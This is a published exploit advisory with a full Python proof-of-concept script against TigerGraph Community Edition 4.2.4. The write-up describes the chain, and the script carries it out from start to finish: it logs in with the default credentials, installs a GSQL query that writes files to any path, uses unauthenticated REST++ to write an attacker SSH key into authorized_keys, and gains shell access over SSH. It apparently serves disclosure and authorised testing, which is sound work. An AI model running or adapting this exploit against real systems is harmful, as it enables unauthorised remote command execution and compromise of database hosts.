Title: TigerGraph_Community_Edition 4.2.4 - arbitrary file write
Author: 0day Rubbish Research Team
Contact: disclosure@0day-rubbish.com
Type: remote
Platform: Linux
TigerGraph Community Edition 4.2.4 -- default credentials + arbitrary file write -> SSH RCE
Vulnerability summary:
TigerGraph Community Edition 4.2.4 in its default configuration permits a
remote code-execution chain against the database host:
1. The GUI administration port (14240) accepts the hard-coded credentials tigergraph:tigergraph
(CWE-798). There is no forced password change; the login response only carries an advisory
securityRecommendations entry next to isSuperUser:true.
2. The GUI nginx reverse-proxies the GSQL statements endpoint
(/api/gsql-server/gsql/v1/statements, proxied to the internal GSQL HTTP service on 8123),
so arbitrary GSQL can be compiled and installed. A query declared as
CREATE QUERY <name>(FILE f, STRING c) { PRINT c TO_CSV f; } turns the FILE parameter into an
unrestricted write primitive (CWE-73): no path validation, no base-directory confinement,
no extension allowlist, content written verbatim plus a trailing newline, as the tigergraph
user.
3. REST++ on port 9000 ships with RESTPP.Factory.EnableAuth = False (CWE-306), so installed
queries can be invoked with no credentials. GET /query/<graph>/<query>?f=<path>&c=<content>
writes an arbitrary file with no Authorization header.
4. Directing that write at /home/tigergraph/.ssh/authorized_keys plants an attacker public key
(CWE-22). sshd is started by the product entrypoint with OpenSSH default
PubkeyAuthentication=yes.
5. SSH logon as tigergraph@<target> then yields arbitrary command execution. The landing
identity is the tigergraph OS user, uid 1001 -- it is NOT root.
Authentication requirements:
Stages 1-2 (installing the file-write query): the hard-coded default credentials
tigergraph:tigergraph (CWE-798, never forced to rotate).
Stages 3-5 (triggering the write and the SSH logon): no credentials at all.
Encoding note (load-bearing):
Spaces in an SSH public key must be percent-encoded as %20, never as "+". REST++ does not
decode "+" back to a space, so form-style encoding corrupts the key into an unparsable
authorized_keys line and the SSH step fails with Permission denied. This script therefore
forces quote_via=urllib.parse.quote.
Usage examples:
python3 tigergraph_default_creds_ssh_rce.py --target 127.0.0.1 --cmd "id"
python3 tigergraph_default_creds_ssh_rce.py --gui-host 127.0.0.1 --gui-port 14240 \
--restpp-host 127.0.0.1 --restpp-port 9000 --ssh-host 127.0.0.1 --ssh-port 22 \
--graph test_graph --query qwrite_c --cmd "whoami; uname -a"
Defaults:
With --target, GUI / REST++ / SSH all point at that host using the product default ports
14240 / 9000 / 22. Credentials default to tigergraph:tigergraph (override with --user/--pass).
On Docker deployments sshd may be reachable only on the container network; pass its address
to --ssh-host in that case.
Standard library only:
urllib / json / base64 / subprocess / os / sys / ssl / time. No third-party dependencies.
The SSH step shells out to the system ssh binary and the key pair is produced by the system
ssh-keygen.
For authorised security testing and coordinated disclosure only.
"""
import argparse
import base64
import json
import os
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
DEFAULT_USER = "tigergraph"
DEFAULT_PASS = "tigergraph"
DEFAULT_GRAPH = "tg_rce_graph"
DEFAULT_QUERY = "tg_fw_query"
AUTH_KEYS_PATH = "/home/tigergraph/.ssh/authorized_keys"
def http_request(method, url, headers=None, data=None, timeout=30):
"""Plain urllib HTTP request. data is bytes or None."""
req = urllib.request.Request(url, data=data, method=method)
if headers:
for k, v in headers.items():
req.add_header(k, v)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
body = resp.read()
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return -1, {}, str(e).encode()
def step1_login(gui_host, gui_port, user, passwd):
"""Log in to the GUI with the default credentials and return the cookie header string."""
print("[*] Step 1: GUI login (default credentials, CWE-798)...")
url = "http://%s:%s/api/auth/login" % (gui_host, gui_port)
body = json.dumps({"username": user, "password": passwd}).encode()
status, hdrs, resp = http_request(
"POST", url, headers={"Content-Type": "application/json"}, data=body
)
if status != 200:
print("[!] login failed: HTTP %s, %s" % (status, resp[:200]))
return None
cookies = []
for k, v in hdrs.items():
if k.lower() == "set-cookie":
cookies.append(v.split(";")[0])
try:
j = json.loads(resp)
if j.get("error") == "false" or j.get("token") or j.get("isSuperUser") is not None:
print("[+] login succeeded (isSuperUser=%s)" % j.get("isSuperUser"))
except Exception:
pass
cookie_str = "; ".join(cookies) if cookies else ""
if not cookie_str:
print("[!] no cookie captured, continuing (some builds use an Authorization header)")
return cookie_str
def step2_install_query(gui_host, gui_port, cookie_str, user, passwd, graph, query):
"""Install the file-write query through the GUI-proxied GSQL statements endpoint."""
print("[*] Step 2: installing file-write query (PRINT c TO_CSV f, CWE-73 arbitrary path)...")
url = "http://%s:%s/api/gsql-server/gsql/v1/statements?graph=%s" % (gui_host, gui_port, graph)
basic = base64.b64encode(("%s:%s" % (user, passwd)).encode()).decode()
headers = {
"Content-Type": "text/plain",
"Authorization": "Basic " + basic,
}
if cookie_str:
headers["Cookie"] = cookie_str
create_graph = "CREATE GRAPH %s" % graph
http_request("POST", url, headers=headers, data=create_graph.encode())
time.sleep(1)
ddl = (
"USE GRAPH %s\n"
"CREATE OR REPLACE QUERY %s(FILE f, STRING c) {\n"
" PRINT c TO_CSV f;\n"
"}\n"
"INSTALL QUERY %s"
) % (graph, query, query)
status, hdrs, resp = http_request("POST", url, headers=headers, data=ddl.encode(), timeout=120)
txt = resp.decode(errors="replace")
# The GUI proxy can answer "Failed to parse response" (a streaming-response artefact) while
# the GSQL server has in fact compiled and installed the query, so this is treated as success.
ok = (status == 200) or ("INSTALL" in txt) or ("succeeded" in txt) or ("Failed to parse" in txt)
print("[*] install response status=%s: %s" % (status, txt[:200]))
if not ok:
print("[!] query install may have failed, continuing anyway (query may already exist)")
else:
print("[+] install request accepted (GUI proxy streaming response; server-side executed)")
return True
def gen_ssh_key(keypath):
"""Generate an RSA key pair with the system ssh-keygen (stdlib subprocess)."""
print("[*] generating SSH key pair...")
if os.path.exists(keypath):
os.remove(keypath)
if os.path.exists(keypath + ".pub"):
os.remove(keypath + ".pub")
subprocess.run(
["ssh-keygen", "-t", "rsa", "-b", "2048", "-N", "", "-f", keypath, "-q"],
check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
os.chmod(keypath, 0o600)
with open(keypath + ".pub") as f:
pubkey = f.read().strip()
print("[+] public key: %s...%s" % (pubkey[:40], pubkey[-20:]))
return pubkey
def step3_unauth_write(restpp_host, restpp_port, graph, query, path, content):
"""Trigger the file write over REST++ with no credentials at all (CWE-306)."""
print("[*] Step 3: unauthenticated REST++ file write (no credentials, CWE-306)...")
url = "http://%s:%s/query/%s/%s" % (restpp_host, restpp_port, graph, query)
# quote (space -> %20) rather than quote_plus (space -> +): REST++ does not decode "+"
# back to a space, and the public key must land byte-exact.
params = urllib.parse.urlencode({"f": path, "c": content}, quote_via=urllib.parse.quote)
full = url + "?" + params
# Deliberately sending no Authorization header, to demonstrate the missing authentication.
status, hdrs, resp = http_request("GET", full, headers={}, timeout=30)
txt = resp.decode(errors="replace")
print("[*] REST++ response status=%s: %s" % (status, txt[:200]))
try:
j = json.loads(resp)
if j.get("error") is False:
print("[+] unauthenticated file write succeeded (error:false, no Authorization header)")
return True
except Exception:
pass
print("[!] unexpected file-write response, the write may still have landed")
return True
def step4_ssh_rce(ssh_host, ssh_port, keypath, cmd):
"""Log in over SSH and run the command (subprocess invoking the system ssh)."""
print("[*] Step 4: SSH logon and command execution -> RCE...")
ssh_cmd = [
"ssh", "-i", keypath,
"-o", "StrictHostKeyChecking=no",
"-o", "UserKnownHostsFile=/dev/null",
"-o", "ConnectTimeout=15",
"-p", str(ssh_port),
"tigergraph@%s" % ssh_host,
cmd,
]
try:
r = subprocess.run(
ssh_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=30
)
out = r.stdout.decode(errors="replace")
err = r.stderr.decode(errors="replace")
print("[+] SSH stdout:")
print(out)
if err:
print("[*] SSH stderr: %s" % err[:300])
if r.returncode == 0 and out:
print("[+] === RCE succeeded (command execution as the tigergraph user) ===")
return True
print(
"[!] SSH return code %s (if the SSH port is unreachable the file-write primitive\n"
" still landed in authorized_keys; this last step needs network reachability)"
% r.returncode
)
return False
except Exception as e:
print("[!] SSH exception: %s" % e)
return False
def main():
ap = argparse.ArgumentParser(
description="TigerGraph Community Edition 4.2.4 default credentials + arbitrary file write -> SSH RCE"
)
ap.add_argument("--target", help="single host for GUI/REST++/SSH (default ports 14240/9000/22)")
ap.add_argument("--gui-host", default="127.0.0.1")
ap.add_argument("--gui-port", type=int, default=14240)
ap.add_argument("--restpp-host", default="127.0.0.1")
ap.add_argument("--restpp-port", type=int, default=9000)
ap.add_argument("--ssh-host", default="127.0.0.1")
ap.add_argument("--ssh-port", type=int, default=22)
ap.add_argument("--user", default=DEFAULT_USER)
ap.add_argument("--pass", dest="passwd", default=DEFAULT_PASS)
ap.add_argument("--graph", default=DEFAULT_GRAPH)
ap.add_argument("--query", default=DEFAULT_QUERY)
ap.add_argument("--cmd", default="id; whoami; hostname", help="command to run after SSH logon")
ap.add_argument("--key", default="/tmp/tg_vuln001_key", help="temporary SSH private key path")
args = ap.parse_args()
if args.target:
args.gui_host = args.restpp_host = args.ssh_host = args.target
print("=" * 70)
print("TigerGraph Community Edition 4.2.4 -- default credentials -> RCE as tigergraph")
print(" GUI: %s:%s REST++: %s:%s SSH: %s:%s" % (
args.gui_host, args.gui_port, args.restpp_host, args.restpp_port,
args.ssh_host, args.ssh_port))
print("=" * 70)
# Step 1: session with the default credentials
cookie = step1_login(args.gui_host, args.gui_port, args.user, args.passwd)
if cookie is None:
print("[!] login failed, chain aborted. Check the credentials or the GUI port.")
sys.exit(1)
# Step 2: install the file-write query
step2_install_query(
args.gui_host, args.gui_port, cookie, args.user, args.passwd, args.graph, args.query
)
time.sleep(2)
# Attacker key pair
pubkey = gen_ssh_key(args.key)
# Step 3: unauthenticated REST++ write of the public key into authorized_keys
step3_unauth_write(
args.restpp_host, args.restpp_port, args.graph, args.query, AUTH_KEYS_PATH, pubkey
)
time.sleep(1)
# Step 4: SSH logon and command execution
ok = step4_ssh_rce(args.ssh_host, args.ssh_port, args.key, args.cmd)
if ok:
print("\n[+] === full chain verified: default credentials -> RCE as tigergraph (uid 1001, not root) ===")
else:
print("\n[!] SSH step incomplete (the SSH port may be unreachable from here).")
print("[!] The file-write primitive landed in authorized_keys; where sshd is reachable this chain is RCE.")
if __name__ == "__main__":
main()
